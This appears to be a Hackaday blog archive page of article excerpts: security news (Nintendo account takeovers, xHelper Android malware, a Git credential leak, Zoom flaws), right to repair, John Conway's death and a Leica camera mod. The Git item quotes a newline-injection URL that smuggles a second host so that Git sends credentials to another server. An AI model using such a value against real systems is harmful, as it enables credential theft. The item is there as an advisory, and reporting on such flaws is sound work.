This Week In Security: Nintendo Accounts, Pernicious Android Malware, And An IOS 0-day

April 24, 2020 by Jonathan Bennett 8 Comments

A rash of Nintendo account compromises has made the news over the last week. Nintendo’s official response was that they were investigating, and recommended everyone enabled two factor authentication on their accounts.

[Dan Goodin] over at Ars Technica has a canny guess: The compromised accounts were each linked to an old Nintendo Network ID (NNID). This is essentially a legacy Nintendo account — one made in the Wii U and 3DS era. Since they’re linked, access via the NNID exposes the entire account. Resetting the primary account password doesn’t change the NNID credentials, but turning on two factor authentication does seem to close the loophole. There hasn’t yet been official confirmation that NNIDs are responsible, but it seems to fit the situation. It’s an interesting problem, where a legacy account can lead to further compromise.

Just Can’t Lose You: xHelper

xHelper, an Android malware, just won’t say goodbye. xHelper looks like a cleaner application, but once installed it begins rather stubbornly installing itself via the Triada trojan. The process begins with rooting the phone, and then remounting /system as writable. Binaries are installed and startup scripts are tampered with, and then the mount command itself is compromised, preventing a user from following the same steps to remove the malware. Additionally, if the device has previously been rooted, the superuser binary is removed. This combination of techniques means that the infection will survive a factory reset. The only way to remove xHelper is to flash a clean Android image, fully wiping /system in the process. Continue reading “This Week In Security: Nintendo Accounts, Pernicious Android Malware, And An IOS 0-day” →

Right To Repair: Tractor Manufacturers Might Have Met Their Match In Australia

April 21, 2020 by Jenny List 60 Comments

The simmering duel between farmers and agricultural machinery manufacturers over access to the software to unlock the DRM which excludes all but the manufacturer’s agents from performing repairs goes on. How this plays out will have implications for the right to repair for everyone on many more devices than simply tractors. Events so far have centred on the American Midwest, but there is an interesting new front opening up in Australia. The Aussie government consumer watchdog, the ACCC, is looking into the matter, and examining whether the tractor manufacturers are in breach of the country’s Competition and Consumer Act. As ABC News reports there is a dual focus, both of the DRM aspect and on the manufacturer’s harvesting and lock-in of customer farm data.

This is an exciting turn of events for anyone with an interest in the right to repair, because it takes the manufacturers out of the comfort zone of their home legal environment into one that may be less accommodating to their needs. If Aussie farmers force them to open up their platforms then it will benefit all of us, but even if it fails, the fact that the issue has received more publicity in a different part of the world can only be a good thing. There are still tractor manufacturers that do not load their machines with DRM, how long will it be we ask before the easy repairability of their products becomes a selling point?

There are many stories relating to this issue on these pages, our most recent followed the skirmishes in Nebraska.

Thanks Stuart Longland for the tip.

Header image, John Deere under Australian skies: Bahnfrend (CC BY-SA 4.0).

The Game That Launched 1,000 Hackers

April 18, 2020 by Elliot Williams 6 Comments

John Conway passed away this week. Even if you don’t know much about mathematics, you will probably know nearly everyone’s favorite cellular automata ruleset: Conway’s “Game of Life”. It’s so much a part of our cultural history, that proto-hacker Eric Scott Raymond suggested using the glider as the hacker emblem.

The idea that a very simple set of rules, applied equally and everywhere, could result in “life” was influential in my growth as a young hacker, and judging from the comments on our article about Conway, I’m not alone. But I won’t lie: I was a kid and thought that it could do much more than make pretty patterns on the screen. I was both right and wrong.

Although amazingly complex machines can be built in Conway’s Life, just check out this video for proof, in the end no grand unifying theory of cellular automata has emerged. As a research topic Conway’s chosen field of mathematics, cellular automata is a backwater. It didn’t really go anywhere. Or did it?

Implementing Conway’s Life in BASIC on a Tandy Color Computer was one of the first things that launched me on my geeky path. It ranks with MENACE: the matchbox-based machine learning algorithm from the 1960’s and an introduction to Markov Chains in the form of a random text generator in my young algorithmic life, all of which I incidentally read about in Martin Gardner’s column in “Scientific American”. Conway’s Life, along with some dumb horse-race game, also taught me about bad random-number generators: the screen would populate the same “randomly” every time on the old CoCo.

So maybe Conway didn’t want to be remembered just for his “Life” because it was a bit of a mathematical dead-end. But in terms of its impact on the world, an entire generation of hackers, and my own personal life, it was able to fill up significantly more than a screen full of pixels. Here’s to Conway, his “Life”, and everyone else who is inspiring the next. You’re not just gliders, you’re glider guns!

[Game of Life example shown in this article is John Conway’s Game of Life – 1.0 written in Python by Nick Jarvis and Nick Wayne]

This Week In Security: Git, Patch Tuesday, Anti-Cheat, And Vulnerable Documentation

April 17, 2020 by Jonathan Bennett 8 Comments

Git released an update on Tuesday, fixing an issue that could result in leaking credentials. The vulnerability was in how Git handles an HTTP URL containing a newline. Looking at the commits in 2.26.1, we can find an example of an attack:
url = "https://one.example.com?%0ahost=two.example.com/foo.git"

So doing a git pull against this repository will connect your git instance to an attacker’s server, but using the credentials from an arbitrary server. It seems like this could potentially be used to steal Github credentials, for instance. So go make sure you have an updated Git client.
Continue reading “This Week In Security: Git, Patch Tuesday, Anti-Cheat, And Vulnerable Documentation” →

John Horton Conway, Creator Of Conway’s Game Of Life, Has Died

April 13, 2020 by Mike Szczys 57 Comments

Programmers everywhere are familiar with Conway’s Game of Life: whether they’ve written a version themselves or simply seen the mesmerizing action resulting from the cellular automata, it’s a household name in all homes where code is spoken. On Saturday April 11th, 2020 its inventor and namesake, John Horton Conway passed away from COVID-19 at the age of 82.

Born in Liverpool, Conway received his PhD in mathematics in 1964 from Gonville and Caius College, Cambridge. He accepted a position at Sidney Sussex College, Cambridge which he held until joining the faculty of Princeton University in 1987. A brilliant mathematician, he received numerous awards and was well known for his work in combinatorial game theory, group theory, and theoretical physics.

Many readers will be familiar with his Doomsday algorithm which can be used to deduce the day of the week for any given date in your head. But by far the rockstar mathematics moment of developing Conway’s Game of Life in 1970 cements him a perpetual place of legend in computing lore. His original work on the concept used pencil and paper as the computing revolution had yet to make digital resources easily available, even to mathematics researchers like Conway.

The game uses an infinite grid of squares where all of the edges of the grid wrap around. Four simple rules (which can be boiled down to three if you’re clever) determine which cells live and which cells die during each frame of the “game”. The only parameters that are needed are the number and position of living cells at the start of the game, and the delay between each game frame. But the effect of this simplicity is not to be understated. The game can be coded by a novice — and it’s become a common challenge in University course work. Small errors, or intentional tweaks, in the implementation have profound effects on behavior of the game. And the effect on the person programming it for the first time can be long lasting. You could call it a mathematics gateway drug, grabbing the curiosity of the unsuspecting mind and pulling it down the rabbit hole of advanced mathematics discovery.

We’d love to celebrate his life by hearing your own stories of programming the Game of Life in the comments below. If you haven’t yet had the pleasure, now’s a great time to take on the challenge.

[Game of Life example shown in this article is John Conway’s Game of Life – 1.0 written in Python by Nick Jarvis and Nick Wayne]

Classic Leica Film Camera Turns Digital

April 10, 2020 by Bryan Cockfield 36 Comments

While there’s still a market for older analog devices such as vinyl records, clocks, and vacuum-tube-powered radio transmitters, a large fraction of these things have become largely digital over the years. There is a certain feel to older devices though which some prefer over their newer, digital counterparts. This is true of the camera world as well, where some still take pictures on film and develop in darkrooms, but if this is too much of a hassle, yet you still appreciate older analog cameras, then this Leica film camera converted to digital might just attract your focus.

This modification comes in two varieties for users with slightly different preferences. One uses a Sony NEX-5 sensor which clips onto the camera and preserves almost all of the inner workings, and the aesthetic, of the original. This sensor isn’t full-frame though, so if that’s a requirement the second option is one with an A7 sensor which requires extensive camera modification (but still preserves the original rangefinder, an almost $700 part even today). Each one has taken care of all of the new digital workings without a screen, with the original film advance, shutters, and other HIDs of their time modified for the new digital world.

The finish of these cameras is exceptional, with every detail considered. The plans aren’t open source, but we have a hard time taking issue with that for the artistry this particular build. This is a modification done to a lot of cameras, but seldom with so much attention paid to the “feel” of the original camera.

Thanks to [Johannes] for the tip!

This Week In Security: Zoom (Really This Time), Fingerprints, And Bloatware

April 10, 2020 by Jonathan Bennett 9 Comments

You were promised Zoom news last week, but due to a late night of writing, that story was delayed to this week. So what’s the deal with Zoom? Google, SpaceX, and even the government of Taiwan and the US Senate have banned Zoom. You may remember our coverage of Zoom from nearly a year ago, when Apple forcibly removed the Zoom service from countless machines. The realities of COVID-19 have brought about an explosion of popularity for Zoom, but also a renewed critical eye on the platform’s security.

“Zoombombing”, joining a Zoom meeting uninvited, made national headlines as a result of a few high profile incidents. The US DOJ even released a statement about it. Those incidents seem to have been a result of Zoom default settings: no meeting passwords, no “waiting room”, and meeting IDs that persist indefinitely. A troll could simply search google for Zoom links, and try connecting to them until finding an active meeting. Ars ran a great article on how to avoid getting zoombombed (thanks to Sheldon for pointing this out last week).

There is another wrinkle to the Zoom story. Zoom is technically an American company, but its Chinese roots put it in a precarious situation. Recently it’s been reported that encryption keying is routed through infrastructure in China, even though the calling parties are elsewhere. In some cases, call data itself goes through Chinese infrastructure, though that was labeled as a temporary bug. Zoom was also advertising its meetings as having end-to-end encryption. That claim was investigated, and discovered to be false. All meetings get decrypted at Zoom servers, and could theoretically be viewed by Zoom staff. Continue reading “This Week In Security: Zoom (Really This Time), Fingerprints, And Bloatware” →